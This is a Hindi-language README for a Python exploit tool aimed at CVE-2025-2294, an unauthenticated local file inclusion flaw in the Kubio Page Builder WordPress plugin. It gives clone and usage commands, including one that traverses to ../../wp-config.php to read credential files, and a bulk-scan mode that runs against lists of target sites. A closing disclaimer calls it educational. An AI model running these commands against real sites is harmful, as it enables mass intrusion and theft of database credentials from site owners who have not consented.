Kubio Page Builder LFI एक्सप्लॉइट (CVE-2025-2294)

Kubio Page Builder WordPress प्लगइन (संस्करण ≤ 2.5.1) के लिए Local File Inclusion (LFI) एक्सप्लॉइट।

📌 विवरण

यह टूल Kubio Page Builder प्लगइन (CVE-2025-2294) में एक बिना प्रमाणीकरण वाली LFI कमज़ोरी का फायदा उठाता है, जिससे हमलावर कमज़ोर WordPress इंस्टॉलेशन पर संवेदनशील फ़ाइलें पढ़ सकते हैं।

🚀 विशेषताएँ

• एकल टार्गेट मोड (-u)
• फ़ाइल से बल्क स्कैनिंग (-l)
• संस्करण का पता लगाना
• परिणाम फ़ाइल में आउटपुट करें (-o)
• स्वचालित कमज़ोर संस्करण जाँच
• कस्टम फ़ाइल पथ समर्थन

📦 इंस्टॉलेशन

git clone https://github.com/mrrivaldo/CVE-2025-2294.git

🛠 उपयोग

बेसिक एकल टार्गेट

python3 cve-2025-2294.py -u https://vulnerable-site.com

कस्टम फ़ाइल पथ

python3 cve-2025-2294.py -u https://vulnerable-site.com -f ../../wp-config.php

बल्क स्कैन मोड

python3 cve-2025-2294.py -l targets.txt -o results.txt

सहायता मेनू

python3 cve-2025-2294.py --help

⚙ विकल्प

📝 उदाहरण फ़ाइल संरचना

targets.txt:

https://wordpress-site1.com
http://wordpress-site2.com
https://another-vulnerable-site.com

⚠ कानूनी अस्वीकरण

यह टूल केवल शैक्षिक उद्देश्यों के लिए है। डेवलपर किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।